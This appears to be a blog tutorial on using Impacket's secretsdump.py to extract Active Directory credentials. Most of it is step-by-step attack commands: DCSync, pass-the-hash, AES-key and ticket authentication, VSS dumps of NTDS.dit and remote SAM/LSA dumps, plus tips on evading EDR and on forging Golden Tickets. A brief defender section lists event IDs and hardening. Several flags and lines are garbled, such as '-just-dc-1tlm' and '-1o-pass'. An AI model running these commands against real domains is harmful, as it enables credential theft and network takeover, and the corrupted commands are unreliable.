Listen to this Post

Introduction:
Impacket’s `secretsdump.py` is an agentless post‑exploitation powerhouse that remotely extracts NTLM hashes, Kerberos keys, LSA secrets, and even the entire NTDS.dit from Windows systems – all without writing a single file to disk. By leveraging DCSync (DRSUAPI) and Volume Shadow Copy (VSS), attackers can pivot laterally across Active Directory environments while evading traditional EDR agents that monitor for file‑based payloads.
Learning Objectives:
- Execute DRSUAPI‑based DCSync attacks to pull domain credentials directly from a Domain Controller.
- Use VSS and remote registry methods to dump SAM, LSA, and NTDS.dit when DCSync is unavailable.
- Apply advanced filtering, output management, and multiple authentication techniques (Pass‑the‑Hash, AES keys, Kerberos tickets) for stealthy credential harvesting.
You Should Know
- DRSUAPI (DCSync) – Remote Domain Credential Dump Without Touching Disk
DCSync abuses the Directory Replication Service Remote Protocol (DRSUAPI) to replicate password hashes from a Domain Controller. As long as the attacking account has the `Replicating Directory Changes` permission (often granted to Domain Admins, Enterprise Admins, or custom groups), `secretsdump.py` can request the entire NTDS.dit over the network.
Step‑by‑step guide:
- Identify a Domain Controller and a user account with replication rights (e.g., any Domain Admin).
- Run the basic DCSync command (replace with your target environment):
impacket-secretsdump ignite.local/shivam:Password@[email protected]
This outputs NTLM hashes, Kerberos keys, and LSA secrets for all domain objects.
- For a cleaner dump (only domain credential material), use the `-just-dc` flag:
impacket-secretsdump ignite.local/administrator:P@[email protected] -just-dc
- Extract only NTLM hashes (no Kerberos keys) with
-just-dc-1tlm:impacket-secretsdump ignite.local/sanjeet:[email protected] -just-dc-1tlm
5. Target a single user using `-just-dc-user `:
impacket-secretsdump ignite.local/komal:[email protected] -just-dc-user krbtgt
What this does: The tool initiates a DRS `IDL_DRSGetNCChanges` request, replicating the naming context (NC) of the domain. The response includes msDS‑KeyCredentialLink, unicodePwd, and Kerberos keys – all parsed locally into a crackable format.
2. Authentication Methods: Kerberos, Pass‑the‑Hash, and AES Keys
`secretsdump.py` supports multiple authentication mechanisms, enabling you to work with compromised credentials or tickets without needing plaintext passwords.
Step‑by‑step for each method:
- Kerberos ticket authentication (no password, no hash):
Obtain a TGT (e.g., using `Rubeus` orticketer), set the `KRB5CCNAME` environment variable, then run:export KRB5CCNAME=/path/to/ticket.ccache impacket-secretsdump -k -1o-pass DC01.ignite.local
- Pass‑the‑Hash (PtH):
Use an NTLM hash you previously extracted (e.g., Administrator’s hashaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 ignite.local/[email protected]
- AES key authentication (Kerberos without password):
After extracting an AES256‑SHA1 key (e.g., from a DCSync dump), use:impacket-secretsdump -aesKey <256-bit-hex-key> ignite.local/[email protected]
Comparison:
| Method | Requirement | Stealth Level | Use Case |
|–|–||-|
| Plaintext | Password | Low | Initial foothold |
| PtH | NTLM hash | Medium | Lateral movement after hash dump |
| AES key | AES256/128 key | High | Avoid NTLM – use Kerberos directly |
| Kerberos ticket | TGT or service ticket | Very High | Fully pass‑the‑ticket, no credentials |
- Volume Shadow Copy (VSS) Method – When DCSync Is Blocked
If the account lacks DS‑Replication rights, or the Domain Controller is not reachable via DRSUAPI, `secretsdump.py` falls back to VSS. It remotely triggers `vssadmin` via smbexec, wmiexec, or `mmcexec` to create a read‑only snapshot of the system volume, then copies the locked NTDS.dit, SAM, and SYSTEM hives for offline parsing.
Step‑by‑step:
- Gain administrative access to the target (local admin on a domain‑joined machine or DC).
- Use the `-use-vss` flag with any of the execution methods:
impacket-secretsdump -use-vss ignite.local/admin:[email protected]
3. Alternatively, combine with wmiexec for more control:
impacket-wmiexec ignite.local/raj:'Password@1'@192.168.1.11 'cmd /c echo test' then run secretsdump on the same target impacket-secretsdump -use-vss ignite.local/raj:'Password@1'@192.168.1.11
4. When to choose VSS over DRSUAPI:
- You only have local admin on a member server, not Domain Admin.
- The DC blocks replication requests (e.g., via `dsacls` hardening).
- You want to dump the local SAM (non‑domain) hashes as well.
How it works under the hood:
– `secretsdump.py` creates a remote scheduled task or WMI call to execute `vssadmin create shadow /for=C:`
– It mounts the shadow copy as a hidden drive, copies `Windows\NTDS\ntds.dit` and `Windows\System32\config\SYSTEM,SECURITY,SAM` over SMB.
– After extraction, it deletes the shadow copy. The entire process leaves minimal forensic artifacts (Event ID 8224 for VSS creation).
- Dumping Local SAM and LSA Secrets (Remote Registry)
Even without DCSync rights, you can extract local account hashes (SAM) and LSA secrets (cached logons, default passwords, DPAPI keys) by reading the remote registry over SMB.
Step‑by‑step:
- Basic remote SAM dump (requires admin privileges on the target):
impacket-secretsdump -sam -system -security ignite.local/user:[email protected]
Output includes `SAM` table (local users) and `SECURITY` hive (LSA secrets).
- Dump only LSA secrets (e.g., Auto‑Logon password, service account credentials):
impacket-secretsdump -lsa ignite.local/user:[email protected]
- Offline dump from previously saved files (if you have `sam` and `system` hives):
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Use `reg save hklm\sam sam.save` and `reg save hklm\system system.save` from an admin command prompt on the Windows target to obtain these files.
What you get:
- Cached logon (DCC2) hashes – can be cracked to recover domain credentials of users who logged onto the machine.
- LSA Secrets – includes `DefaultPassword` (if Auto‑Logon is configured) and `NL$KM` (cached key material).
- DPAPI backup keys – used to decrypt user and machine secrets.
5. Filtering and Output Management
When dumping a large Active Directory (thousands of users), the output can be overwhelming. `secretsdump.py` offers several filters to focus on actionable credentials.
Step‑by‑step commands:
- Exclude specific users (e.g., built‑in accounts or known false positives):
impacket-secretsdump -just-dc -skip-user Administrator -skip-user Guest ignite.local/admin:Pass@DC
- Include password last set timestamp (shows when each password was changed):
impacket-secretsdump -just-dc -pwd-last-set ignite.local/admin:Pass@DC
- Show account status (enabled/disabled/locked):
impacket-secretsdump -just-dc -user-status ignite.local/admin:Pass@DC
- Write full output to a file (avoid terminal scrollback loss):
impacket-secretsdump -just-dc -outputfile creds.txt ignite.local/admin:Pass@DC
Two files are created: `creds.txt` (NTLM hashes) and `creds.kerberos` (Kerberos keys).
When to choose each approach:
- Use `-skip-user` to ignore service accounts or computer accounts ($) that are rarely useful.
– `-pwd-last-set` helps identify stale accounts or potential password reuse patterns.
– `-user-status` quickly finds enabled, high‑value targets (e.g., enabled domain admins). - Always use `-outputfile` during live engagements – it preserves timestamps and prevents data loss.
6. Hardening & Detection (For Defenders)
While `secretsdump.py` is a red‑team favorite, defenders can limit its effectiveness with proper controls.
Mitigation steps:
- Restrict DCSync rights:
Remove `Replicating Directory Changes` from all non‑essential accounts. Use `dsacls` to audit:dsacls "DC=ignite,DC=local" /I:S | findstr "Replicating Directory Changes"
- Monitor for replication requests:
Event ID 4662 (Directory Service Access) with `Object Type` = `ds‑replication‑get‑changes` is a strong indicator. - Disable SMBv1 and restrict remote registry access (Group Policy: Network access: Remote Registry – limit to specific admin workstations).
- Deploy LSA protection (Run as PPL) and enable Credential Guard to prevent hash dumping from LSASS.
- Use Active Directory administrative tiering – prevent administrative accounts from logging onto low‑tier workstations where VSS dumps could grab their DCC2 hashes.
For pentesters: If these controls block DCSync and VSS, fall back to offline attacks (e.g., physical disk acquisition or `ntdsutil` if you have local system access) – or use alternative tools like `dsinternals` or mimikatz’s lsadump::dcsync.
What Undercode Say
- DCSync remains the gold standard for stealthy credential extraction – it generates no file writes and mimics legitimate replication traffic. However, many organizations now audit DCSync permissions, making it a high‑risk move unless you’ve already elevated to Domain Admin.
- VSS is louder but often overlooked – many EDRs monitor `vssadmin.exe` execution but fail to track it when called via WMI or scheduled tasks. Combining `secretsdump.py -use-vss` with `wmiexec` can bypass simple process‑name blacklists.
- Pass‑the‑Hash and AES keys turn short‑lived compromises into persistent control – once you dump the krbtgt hash or a service account’s AES256 key, you can forge Golden Tickets or Silver Tickets, living off the land for weeks.
- Filtering is underutilized – most pentesters dump everything, then manually grep for
admin. Using `-just-dc-user` and `-skip-user` reduces risk (less output to mishandle) and speeds up red team reporting. - Defenders should prioritize detecting DRSUAPI abuse via Windows Event 4662 (object type “ds‑replication‑get‑changes”) and monitor for anomalous `vssadmin` shadows on Domain Controllers – those two telemetry sources cover 90% of SecretsDump attacks.
Prediction
- -1 Microsoft will eventually deprecate or heavily restrict DRSUAPI for non‑Microsoft clients – similar to how DCOM hardening killed many lateral movement tools. This will force red teams to rely more on VSS and offline NTDS extraction, increasing both forensic noise and the chance of detection.
- +1 Impacket’s modular design will adapt – future versions may integrate Kerberos resource‑based constrained delegation (RBCD) or cloud‑based DCSync (Azure AD Connect) to stay relevant as hybrid environments grow.
- -1 Automated SecretsDump scanning by purple teams will become a standard compliance check – leading to more frequent false positives and “cry wolf” fatigue, yet still missing targeted, low‑and‑slow attacks that use custom replication filters.
▶️ Related Video (88% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Impacket Secretsdump – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


